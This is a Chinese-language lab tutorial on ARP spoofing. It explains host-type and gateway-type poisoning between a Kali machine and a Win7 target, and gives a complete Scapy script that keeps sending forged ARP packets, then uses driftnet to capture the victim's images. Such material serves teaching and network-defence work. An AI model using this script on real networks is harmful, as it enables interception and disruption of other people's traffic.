ARP(Address Resolution Protocol,地址解析协议),位于TCP/IP协议栈中的网络层,负责将某个IP地址转化成对应的MAC地址。
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。攻击者只要持续不断的发出伪造的ARP响应包就能更改主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。
根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:
1、主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
2、网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
3.1、查看基本网络信息
Kali:攻击机 IP:192.168.37.131
win7:靶机 IP : 192.168.37.169
>>kali的基本信息如下:
IP:192.168.37.131 MAC:00:0c:29:3e:df:60 网卡:eth0
arp缓存
>>win7靶机的基本信息如下:
IP:192.168.37.169 MAC:
arp缓存
可以得到:kali和win7同时缓存了网关的地址,其中,网关IP为192.168.37.2,MAC地址为00:50:56:e8:e0:56
3.2、构造ARP欺骗包
3.2.1、Ether和ARP参数
>> Ether参数
构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包
>> ARP参数
op。取值为1或者2,代表ARP请求或者响应包。(默认为1)
hwsrc。源Mac地址。
psrc。源IP地址。
hwdst。目标Mac地址。
pdst。目标IP地址。
3.2.2、构造欺骗数据包
>> 定向欺骗
主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
告诉靶机(192.168.37.169)网关的地址为Kali(192.168.37.131)所在的主机
pkt = Ether(src=37.131的Mac, dst=37.169的Mac) / ARP(hwsrc=37.131的Mac, psrc=网关的IP地址, hwdst=37.169的Mac, pdst=37.169的IP, op=2)
网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
pkt = Ether(src=37.131的Mac, dst=网关的Mac) / ARP(hwsrc=37.131的Mac, psrc=37.169的IP地址, hwdst=网关的Mac, pdst=网关的IP, op=2)
上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行欺骗,请求包欺骗的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表
主机型ARP欺骗
pkt = Ether(src=37.131的Mac, dst=37.169的Mac) / ARP(hwsrc=37.131的Mac, psrc=网关的IP地址, hwdst=37.169的Mac, pdst=37.169的IP, op=1)
网关型ARP欺骗
pkt = Ether(src=37.131的Mac, dst=网关的Mac) / ARP(hwsrc=37.131的Mac, psrc=37.169的IP地址, hwdst=网关的Mac, pdst=网关的IP, op=1)
>> 广播欺骗
广播欺骗,以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息
pkt = Ether(src=37.131的Mac地址, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=37.131的Mac地址,。。。。)
3.3、ARP攻击代码
在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,执行如下命令:
sysctl net.ipv4.ip_forward=1
3.3.1、代码如下
# !/usr/bin/python
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr, # 获取本机网络接口的函数
getmacbyip, # 通过IP地址获取其Mac地址的函数
ARP, # 构造ARP数据包
Ether, # 构造以太网数据包
sendp # 在第二层发送数据包
)
from optparse import OptionParser #格式化用户输入的参数
def main():
#自定义程序使用方法,当中的 %prog,optparse会以当前程序名的字符串来替代
usage = 'Usage: %prog [-i interface] [-t target] host'
#创建一个 OptionParser 对象
parser = OptionParser(usage)
#add_option 来定义命令行参数
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
#调用optionparser的解析函数
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
#获取本机网络接口
mac = get_if_hwaddr(options.interface)
#主机型欺骗
#网关型欺骗
#请求包
def build_req():
#当没有明确攻击目标时,广播
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0])
elif options.target:
#通过IP地址获取其MAC地址
target_mac = getmacbyip(options.target)
#没有获取到MAC地址
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
#构造包
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
#响应包
def build_rep():
if options.target is None:
#op=1(请求包) op=2(响应包)
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
return pkt
#请求
if options.mode == 'req':
pkt = build_req()
#响应
elif options.mode == 'rep':
pkt = build_rep()
while True:
#在两次发送数据包之间有一定的时间间隔,使用inter选项,表示每隔2秒发送一个数据包
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
3.3.2、结果如下
接下来,我们打开终端,对靶机进行欺骗
对网关进行欺骗
一段时间后,查看靶机的arp缓存,发现网关的Mac地址已经变成了kali的Mac地址,可以得知,arp欺骗成功。
使用常用的测试工具driftnet,获取靶机的外网请求信息
接下来在靶机(192.168.37.169)上搜索图片,可以在kali(192.168.37.131)上捕获到图片的信息
参考链接:https://www.cnblogs.com/xuanhun/p/5802573.html